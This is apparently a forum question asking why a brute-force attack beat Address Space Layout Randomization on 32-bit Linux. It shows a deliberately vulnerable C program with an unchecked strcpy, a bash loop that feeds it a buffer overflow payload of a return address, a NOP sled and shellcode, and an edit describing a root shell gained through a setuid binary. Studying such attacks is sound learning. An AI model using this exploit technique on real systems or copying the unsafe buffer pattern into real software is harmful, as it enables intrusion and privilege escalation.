I just read about Address Space Layout Randomization and I tried a very simple script to try to brute force it. Here is the program I used to test a few things.
#include <stdio.h>
#include <string.h>
int main (int argc, char **argv)
{
char buf[8];
printf("&buf = %p\n", buf);
if (argc > 1 && strcpy(buf, argv[1]));
return 0;
}
I compiled it with this command:
gcc -g -fno-stack-protector -o vul vul.c
I made sure ASLR was enabled:
$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2
Then, I came up with this simple script:
str=`perl -e 'print "\x40\xfa\xbb\xbf"x10 \
. "\x90"x65536 \
. "\x31\xc0\x40\x89\xc3\xcd\x80"'`
while [ $? -ne 1 ]; do
./vul $str
done
The format is
return address many times | 64KB NOP slide | shellcode that runs exit(1)
After running this script for a few seconds it exits with error code 1 as I wanted it to. I also tried other shellcodes that call execv("/bin/sh", ...) and I was successful as well.
I find it strange that it's possible to create such a long NOP slide even after the return address. I thought ASLR was more effective, did I miss something? Is it because the address space is too small?
EDIT: I did some additional research and here is what I found:
I asked a friend to run this code using
-m32 -z execstack
on his 64b computer and after changing the return address a bit, he had the same results.Even though I did not use
-z execstack
, I managed to execute the shellcode. I made sure of that by using different shellcodes which all did what they were supposed to do (even the well know scenariochown root ./vul
,chmod +s ./vul
, shellcode that runssetreuid(0, 0)
thenexecv("/bin/sh", ...)
and finallywhoami
that returns 'root' in the spawned shell). That is quite strange sinceexecstack -q ./vul
tels me the executable stack flag bit is not set. Does anyone have an idea why?